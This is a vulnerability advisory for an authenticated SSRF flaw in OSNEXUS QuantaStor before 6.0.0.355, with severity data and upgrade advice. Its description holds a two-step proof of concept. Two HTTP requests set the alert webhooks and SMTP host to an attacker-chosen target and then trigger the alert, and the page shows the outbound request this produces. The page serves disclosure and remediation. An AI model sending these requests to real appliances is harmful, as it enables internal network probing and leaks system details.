CVE-2021-42079: SSRF vulnerability in OSNEXUS QuantaStor before 6.0.0.355

Severity: medium (CVSS 4.9 v3.1)
Exploited in the wild: not listed in CISA KEV
EPSS: 0.7% probability of exploitation in the next 30 days
Public exploit or detection template: none known
Published: 2023-07-10 · updated 2026-06-17
Weakness: CWE-918

Description

An authenticated administrator is able to prepare an alert that is able to execute an SSRF attack. This is exclusively with POST requests. POC Step 1: Prepare the SSRF with a request like this: GET /qstorapi/alertConfigSet?senderEmailAddress=a&smtpServerIpAddress=BURPCOLLABHOST&smtpServerPort=25&smtpUsername=a&smtpPassword=1&smtpAuthType=1&customerSupportEmailAddress=1&poolFreeSpaceWarningThreshold=1&poolFreeSpaceAlertThreshold=1&poolFreeSpaceCriticalAlertThreshold=1&pagerDutyServiceKey=1&slackWebhookUrl=http://<target>&enableAlertTypes&enableAlertTypes=1&disableAlertTypes=1&pauseAlertTypes=1&mattermostWebhookUrl=http://<TARGET> HTTP/1.1 Host: <HOSTNAME> Accept-Encoding: gzip, deflate Accept: */* Accept-Language: en User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36 Connection: close authorization: Basic <BASIC_AUTH_HASH> Content-Type: application/json Content-Length: 0 Step 2: Trigger this alert with this request GET /qstorapi/alertRaise?title=test&message=test&severity=1 HTTP/1.1 Host: <HOSTNAME> Accept-Encoding: gzip, deflate Accept: */* Accept-Language: en User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36 Connection: close authorization: Basic <BASIC_AUTH_HASH> Content-Type: application/json Content-Length: 1 The post request received by <TARGET> looks like this: { ### Python FLASK stuff #### 'endpoint': 'index', 'method': 'POST', 'cookies': ImmutableMultiDict([]), ### END Python FLASK stuff #### 'data': b'{ "attachments": [ { "fallback": "[122] test / test.", "color": "#aa2222", "title": "[122] test", "text": "test", "fields": [ { "title": "Alert Severity", "value": "CRITICAL", "short": false }, { "title": "Appliance", "value": "quantastor (https://<HOSTNAME>)", "short": true }, { "title": "System / Driver / Kernel Ver", "value": "5.10.0.156+a25eaacef / scst-3.5.0-pre / 5.3.0-62-generic", "short": false }, { "title": "System Startup", "value": "Fri Aug 6 16-02-55 2021", "short": true }, { "title": "SSID", "value": "f4823762-1dd1-1333-47a0-6238c474a7e7", "short": true }, ], "footer": "QuantaStor Call-home Alert", "footer_icon": " https://platform.slack-edge.com/img/default_application_icon.png ", "ts": 1628461774 } ], "mrkdwn":true }', #### FLASK REQUEST STUFF ##### 'headers': { 'Host': '<redacted>', 'User-Agent': 'curl/7.58.0', 'Accept': '*/*', 'Content-Type': 'application/json', 'Content-Length': '790' }, 'args': ImmutableMultiDict([]), 'form': ImmutableMultiDict([]), 'remote_addr': '217.103.63.173', 'path': '/payload/58', 'whois_ip': 'TNF-AS, NL' } #### END FLASK REQUEST STUFF #####

Affected products

OSNEXUS QuantaStor: before 6.0.0.355 — fixed in 6.0.0.355

How to fix

Upgrade to a fixed version: OSNEXUS QuantaStor 6.0.0.355. Check the vendor advisory for mitigations.

References

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